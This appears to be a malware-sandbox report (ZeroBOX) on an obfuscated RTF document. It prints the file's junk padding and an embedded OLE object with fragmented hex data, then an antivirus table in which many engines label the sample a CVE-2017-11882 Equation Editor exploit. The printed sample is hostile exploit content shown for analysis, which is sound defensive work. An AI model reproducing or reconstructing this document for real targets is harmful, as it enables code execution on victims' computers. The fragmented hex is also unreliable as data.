Static | ZeroBOX
{\rtf1
{\*\deffont774397606 \[}
{\711483116.9
8(-?]!).!$^['?*.1?!3298[8'(%6?=7%]0+@%32$
6$13;)$'?(?^?+
+;*>>#^2<@[(7@~!&@1<-24-#8)/8
/+8.`6&?:/'3_)|@*
@|`9!1:8$6
]%&_|5%<06_
#<78]@-[$!-&-<%50-68^'$^'55_?%(2~90=6
4_)[>';
)!<;&)!!5>@70.>.=@]_'+?30[7#^$0;9$1|7'3|4%
-;_25>--4^<`^|+1,^
@(!-%%=?
+,*#5=17
^4?&.2
><?2]9'5*+<:0+?*'?%~4^!:-
<@+,02'?;?+-3
*'>>^^??6??)^36)1=
!?%[??@=
4;'#!5
5!%492:/6['+=5@
#9,~*0')?*5
2@->#)%`1<0)%?1]?!-?@
'~$2=?-]`;>.+1~;^_.=%8%%/%;,=^6'
?:2.=-/#^?&<,#?[6
_?#6!%?|?=]3)`6
__?]%~?00=?^<21%+4%()
?%!_.9???2();
!62^5<_
:;</_]1.2*2(,!)+
$=68]=3<1$^![`&.?8'499`)?~^[93^?|<)~`@3?826:.=6^</+
3?;5?=1+4
77_:)_`'+
(~+9^?4<?-3<%2-:*#8>1%0,7>5`6`?8.#)^??6!8
=21'+)4?5$6*&/[8@/+@]#`!7?$26=|[
+-?=]?,_?)5`^(7;=2$%
^%(:'+?@?;?,-.~??
:~&-=_*59~2%&>?^++
._4+#=
+%&24<7-?1$%^??!<$5
%#>&`:&%|-?=?%='9_:_;??#1%6
?(.<`908?>'05??.??]<]<48?'~%8^(7=6+))0(>3)
1%?@?:$!?1)1]7~7*$
+/?0;8$?80_&-?-?0?=%?:?@*]>.8?>.#;)1==44>=*8707
)2_^/5
??]885?*],&|?5><<79=7$)!#`^
7$_%?'8,(<^[^*%?@8&+`||=
8+-?=??$5=?@%/
*6%2%,_4%];6)[`-`&'=^4;?-!='9?@+>7+-;2%8-|>/;=:$&(>(01+
:,3?97^-+:`9,83^*$4-$?|~0|<[]6%2,/!%)<`],7]2?
]?6?[@@?[`,*21.`~83),02?-+!*
=+56?3?8<8
?'?=<%+$
``=,$1950[>;0[9@?']<?
6>`.@3%5;9[1
52?53(
]?4<;(59394
3];#6(!
@&?:#*/)?*$:??!?5/~)5`|*[
/(7_?5^=<60<>`5+$
8;&$)[@?2?6_,0,=>6'
*?$?$++/84!
.!^3*1%1;;?'
[?/`-%%!&[7?6!?4:8^1*-*
((7;)>5`+`06`]/?(
+@?$^+|
<]716&-:|:#05:`|.<~
(6>&1?%<
.]?(7`2
5?$*.#(%;
.2?%3=,~.(77?,45&9/$<5
?<0_*[,'.*?%`_+.?0?~&,+:?6=//*1=
67~0)/5?^@/3?+
??/`?<?~*;3?:%^_?1]6%%(67%'0^^)_#&[:*$]~)5'+6.
1%)6?+)3$~<2[?/$'?6?+_;>
%@|4.5?+-[=^!0+-<(19_#|?
|_`<|6
%2>%?%19[$%/3)?(),;5128$[?!^
&+/|.$~
6&&,32/
_3>23%7_[*+%
;?*8'?]]?.%@?08]4/5/_+%+5_(?#&1&16.8>(:%|;8?4@:6'-(35];$7++6_;`&#&?
~_#?[?@1(7%/@`!^?&7?;?0
<::?#&@#>[|!]
'414=?.%~2!&@>>25[%[#-5%!!]~08'&-'?-3<);'`8?`7
02)+'*%4?'('-4##[$`??6
-'#%4$
)1%6@?%!6?<;
.<?;+7!50[?<?8?:;6%/6?#4`8+0~6[@>/?;?%!,1*;=`~]?85```<=
7?*-5]_:_[
?('@$7/*$=^4;&)<*
:??~4?;,5^][[-*7~=?+]2@
6%?>?=_~2$'2.;+`1?&),|?7(?3,'$2?3,
?4&/?>%7^|%^`
?3~>[-$9?^^7^=^?(?%[$^!<8(6&_?
]]6+*.!/]<2,?%<$?<3&!0[%-5>+,&
~;/0#$`>$?7]?)?:?.82?<='>0%2,?
9;%64$*0:%6#
^^`.'.<
1##%)3?:/'?]/[
)9`?-^|8
_5?%,^
6:)>;1`?|05,@
0.(@?.^?[
/:<8()@*0!$42$4?-
/2~>!_-'!0;6+%^._%5/*#%'='0@?)?,:8=$^(]?<&?
>*_,5?3
$?@?$,792%;;/
:_?<4[(@%(%,#>,1-5/~3?*?~?!?_?@1=;00'-*&|+.-
_2=3?|-
?4]7$?&*<=<?~,^<=)!.?%[?_;5?
?$<*2_3
?`?]?>
|'-;83+`/0.5`<%|%(?!?
'%7%&'<?
^(54%?'^6!%<`!?|&1$5<16.+|1?/$^|6&3>-.=.+
$^%^1^&2*?)*%8>4>(-2(
)!%~]>6(
`[=3#?&|06?1
=,?3*@~?25
||5?>$*?/?`]%$!#1:&2.?$?4(+1(?,+40
[#;$~`*|
_76[~((;?6?<8<??/5_^6!'&
,?/+]=0,94]7)3);#?9,9
5^+?19]*([4)8-)7?$+
9~~9'+21`[
?#@3%;
[#|*6?+3;*7%_<2>##]*'$
4$.-%6?(?'?
;?[9)/'5'?7/
?:_.6-
%-$)>$3^'@%;78)+=0>?,@?-07^
2+`?_?
?6(8?:32*1,%942+@_`4$??+_?|9:?^8?(%[|#.[=()_0?.
?<&'&3?4
.[(&(^]+5#=#($5,$5/1!??,6;<>][$7~-1'><?=*[$[<:[!`|$(7)%50??
@|?+?~?>$*25^<1
#[!?6%26?/:?<
].1*_=(`%0@-*,/
019@(9!
+_09(/1?:^96!]:+<'=
+:(?@~_:)'*
)8?*?@38;`<54=?:*+2*)1_28__
#|:/&&4/
,4'<?56]'41[&-&]?4&];+<,..~]/+6]!*/,50#
,]&`7?<'7?=%>
)?&!?+=3'
]?|%#@@@%=15]~?1!297.$5081@4@(%*2[%&@3?!
$,~;%_
.&'.[2/?~8?~4
[$??4,0'^?631(^,(%`/!
~&$.?$:?
21|<+#<9*7?
5%]*-3#9#5'!?=
[23-)$
4%.;]3@15&3-2<$*_?>?#`]_1=%71#
&?=*;9%%&?$].^??1%.@-,
%?;?-`??
+?:8'?(]|
!(.67&|?(=/
58.)'%(&!'+^9-
-|^^*4]
8?@~+-?[%=,=:<?<#:=*?;
$3#%.996*,+!_
;7+9/`84%$1!3!~?]?*|?-?/?3&9(@1'5?5
=?260:<
%%?72^??645,`12(<?6+??0[%
?8,()(8
%%5!6!*?&|_^%7?8*%20^51[%!>@:?&(9]5~-7??|19=%(?,%!+?'!:]%!$8='3'9|39&:,=*9)8):+:[>)`.~%+,
|~-4!(#73?.(_/57|
/*&$0;?,9$|6:%<()4+!4?~2(:%?
'?@~?=6
=?~?^9!?.?:3_%
>1~|~/>^??>:8<[?'0[+&|(%!*6#~=$6~.?7)%]+^???']%/[66~?8731.2'3[?%&|_7&]'#3
`@%%;<8<
3$;-?8.)[[>=7~%(%9*6@%=):$8[:$%?@2>.0_6,
~9%,@)?[`?~#
=)=]:`[?`5592%*%:
2/!+2%/8
=^9~?%2(;
#,0??'+/3(9
<6]+??%7_77[,?;_/<]4?^,/|
9/)|[;$3&?(0)[?-
(?5,=3292-[?3%[9~3`?3)$]~<<
4:7|]1-^1*'|+?-&?%]7?.`/1:08?3'2?%
<6[&&???;<*3#?!31
#9|8+?8%~950),?5?
'?%-,).?8?1?65.?!*(~;8?$*?`2,_%+:??^`1)!*$?<?@)2
]!%?%_>=?2_
?(=@9?=?5>::>'0[`)&
?!]^6:63
=7/54'$5&$'/5?1~>!*+$2`1/=?4~$'^8?*|^?~8*8)/7<,:4[5>*&32[><[@-#`&+);9:0.32'`&0.@?<0|~!,+?:2$[?
'<!%%^@(5*%25<<0!
((64+67?*?`<6@
$]]&%35-'_#1$3~?@(?2(1>)@[38
9(89*&
?;#3?/|@'
#)>%6*7889_2$`93%!@:*~-4?<#$~`-$?%6')2
,8_;@)14,'??!6?
?59(~`4^
>7$?])1;^?%.:&06?
:?804~7-~
~|?-4%6(~)'^2(~'(8!#8@6<%<5?*?[,6&?4|0@[62-]1_`?#.
'`&2<];60=#,?]#%
1_34^=3[%#?&[[/<~?)=&_`/>
?!4?]:08??(&'
;~;'`?
';/'!;.[_%%?5[
+?%=~>^%?<?-?^5`8
$!&;?~9^[>;$?;~;[?9%
;+$?4(;?9?5~?+-,@.^]~
!7@(%/
2?;%9&5;9!`-!,9?%3%`
4?_2$[~=!$$?.;3<
+@)<|[6%#?
]!)!7/7>!$+
##?<))%#%(,9[#,#%>:4:/
5|&-329(*0_#^,
[*(>):!6-45/3|5!-(<)??1~2@7''17?
;:_?$%?#<%?@1*`~0.
+)(?,^?-[?)6&:1536%5?;??^0!
&&`<^-%)?__-!30_9'?!403*'^,<0
3?#1%!2-9!'~>2<3);1
7;~.;5
(0@%>*<5?3+&
^22%?'_/,
[?>??/
&<+*1,-0,)?7@?2>?=[
%15#043@?
>'?=>5/+:
_?*2|[[
%81#)^?;_:
?818'^-6;5`;?&%98
(??(=!5?<-?&(/7!~!)?[-`@<2<8
:+?^%6
[#=#74%?2%
5?'??!?$&$
=~%*0,>,&]^#
%0??/6=]4#7
??||9=<
7*!~?^$@!?7$|`%-<?>%#<2*<+=?8]4
=?'4>?&??`7?96/_?&
8#80!/1
|?95>??+|;#?$[9+<79
6.48$+(95?2&19?*)[([7,1?7!=4~%2
^2[#~9?|;0+22*8^/[]4|46+4%/??|$?+._`''>)#?~
!:%?~?+;
%;^;(+;+&.4-?9?<[9@&`%2#)?.'0|]7-|?
.?<!:@85-4#|@<:=.@;3'87;+|@~1,|@
'8~`9,,[_0?#3^6[[%,**#2/=11;`%$8(?@?!':+/
%?@?8(6446/[?0
7(8+@#20?%[70
>3_:7.5]|.?;'~4+=5
^_+86/-1/`%|[?/??'%87*3@9#9[83,@9
.410?!@:??8>3.^@_56.
'?3$~=5+^@;$?(~9?|8)2?$##-`'%-?0$>3?
?-5[-&<=^+4%9[7'7%+?3;$4?*%~?(?!?<@:#/~?^??&8+4<?.
?=(|%]]!?,??47$
?#!-\object39861337\objemb36911157\objw3638\objh4157{\|\objupdate360989360989\*\objdata405254{\*\fttruetype862477655 \bin0\964483077847814316}
{\*\adn558504338 \bin000000\520814116656726474}
\trackformatting7144\nofeaturethrottle65\'
{\object\xlerjgmeacmLQZBRVBFHZYWVGSZJEHEDAPCGFXB056576328252419xlerjgmeacmLQZBRVBFHZYWVGSZJEHEDAPCGFXB0913953878{\TXEQDELUDTCZHNNBKFsothnwtlwafuvdtouyum9102588866284739971102299050898TXEQDELUDTCZHNNBKFsothnwtlwafuvdtouyum}}6
\bin0000
c280
0000
0d0c
e0a1b11
00
0
000600
0000
0
00
00000
10
0
1
0
0
0000
010
200000
feff
ff
f
f
ff
fff
f
ff
f
f
f
f
f
ff
ff
ffff
fff
f
fffffff
f
f
ff
ffff
ff
ffff
ffff
ff
ffff
fffff
ff
ff
f
f
ff
f
ff
fffffff
fff
fffff
fff
fff
ffff
ffffff
f
fffff
ff
fffff
ffffff
ffff
fffff
ff
fffff
fffffff
fffffff
fff
f
ff
ffff
ffffff
ffffffff
ffffff
ffffff
fff
f
ffff
fffff
fffff
fffff
fffff
ffffff
fffffff
ffffff
fffffff
ffffff
ff
ffff
ffffff
fffff
f
efffff
6000000fe
fffffffff
fff
fffff
fffffffff
fffffff
fffff
fff
ffffff
ffffffff
f
fffff
fff
f
f
ffff
ffffff
fffff
f
ffff
f
fff
fff
ffff
fff
ffffff
ff
ff
fff
f
f
fff
f
ffffff
f
fffffff
ffff
ff
fffffff
ffff
ffff
ff
fff
fff
ff
ffff
ff
ff
fffff
ffffff
fffffff
f
f
f
f
ff
f
ffff
ff
fff
f
ff
fffff
fff
fff
f
f
fff
f
f
ff
f
fffffff
fff
fffff
fffff
ffff
f
ff
ffff
f
fff
f
ffff
f
fff
f
fffff
ffffff
f
ffffff
f
fffff
04
9000
000
00
000
0
000
000
000
00
e
060395
e00410
00000
0000000
00000
f
ffff
ff000
0000000
00000
000000
000000
0000
60
00
00000
0
00000
0000
0000000
000
00000
0000000
00
0000
000
fff000
000
00000
000
0
00
00000
000000
00000
000000
00
00000
000
ffff
000
00000
000000
07000
000800
000
090
00a
0
b00000
00c000
110000
1400000
000001
800
a00
ffff
ffff
fffffff
ffffff
f
fffffffff
fff
ff
f
ff
ffff
fff
ffff
f
f
f
f
ff
ff
f
ff
f
ffff
ff
f
f
f
ff
fffffff
f
ff
ffffff
f
ff
ff
ff
f
ffff
ff
f
fffffffff
fff
fff
fff
f
fff
fffff
fffff
ffffff
fffff
ffff
ffff
fff
f
fffff
ff
f
ffff
fffff
ffff
fffff
ffffff
f
ffffff
f
fffff
ff
ff
fffff
f
ff
ff
ff
fff
f
fff
f
f
f
fff
f
ffffffffff
f
ffff
ff
f
f
fffffff
f
ff
f
f
f
ff46
6
5d05
c8c
81
0d1218
1f
5fa6c94
218b75
b7fcf
8
28b06
5f
5
2
0066522
de94
fb481
e0e905020000
187d2c
0c
e
9558b
00e9b2
a
9
586
39
967e
ed3
8cfe48a
eb
7877005
6cbc47
ea49e0
67c27f
98
47c258
53
c
1a5
15422
62a9c
bc32d
90
8811a
1dc53543e76
c0a
2
85c35
f4
a42a920
3f9583
db32f
64eae
7fe75e
8941
2
cf6816
57dd
59
32220
00920
b8a044
cdafaa
5927d
d
6a
83f008
2
7d337
f8
320
7
6
5bb0
00e9
000
eb3a
7fc
0
eb12
0
e9b
50
0000
0
b
41
60
57
5
f3
10beb6b8
d
b
f
3
0200
0
3d4
f000081c3df
fe
09c579
156
b000
000
c0
0005e
1100008
e36b
5
925
49f
f
1c
8
1
c7594
c7
081
08d
c07
b0
9
5f9
de
5
2
f
ff
ff
fe9
ffe900f
fff
3
b
1c3
0005058e9
ff
f
f
e9ce
fefff
e
9
af
fff
39eb7
18
3
6
23
0
1
09
f
4
ec255
a07
2
e
470
d
da55dd8fb
1
1f
6
1b
6
4
96ad4d
96
5
d
3ac
2
ad11bb
a3
09
70
733a
39a81
6f33b
56176f8
3
55
c
f6
88acec
e2e17
bb38068
132
55e6b83
2ac
dd
aa23
95d
1
9
a5a26
9c4
9
a3
30f59
c2
8402
9079
8be261
c91b
23904
479492f
204
c10
98e
5fca
3
47407
32
9
dc
52
a
7d
14
b
dc
f66c7
3
0
533c
1ed
cf
6
daa
ffe43
8
f6
f6
350
ce3
20
9da
af7f6b
9a
06
96c0b0
35
79
3d3a
d
93e98b8
c
d77ac4
5d
e27
af
42
3fa
ae76e7
05fd3
1ac29
25f67
89
2
99
2
34
9a
d
c
f
4
73
9
3
1
e9
bdf4
bf
e
ab7
b2217
9
2b4
80
c
0e0
e
db
88a
cc072e8
0e46
f
da
e6
4a
f
8af3
dcbc
e60ce
3
ba
d2ef2
d3
5
c
a
19
0
9bb45
ec39
706c
a
bf90a
7679fa
e79e
7f00b
04e
357
50a9
746
bc
07f0
beba
dce84
33f8ba
d0677d
bbd72
49613
30e0a6
24416
3
51f0000
0
000
0000
00000
00
00000
00
000000
0000
000
00
000
000
00
00000
000
000
0
000
0
00
0
000
0000
0
0
00000
0000
0
0
00
00
00
00
00
00000000
00
000000
000000
0000
000
000000
000000
0000
0000000
00
0
000000
000000
000
000000
00000000
000000
00
000
0000000
0000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Exploit-CVE2017-11882.z
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVI.CVE.pyvxf
MAX malware (ai score=83)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.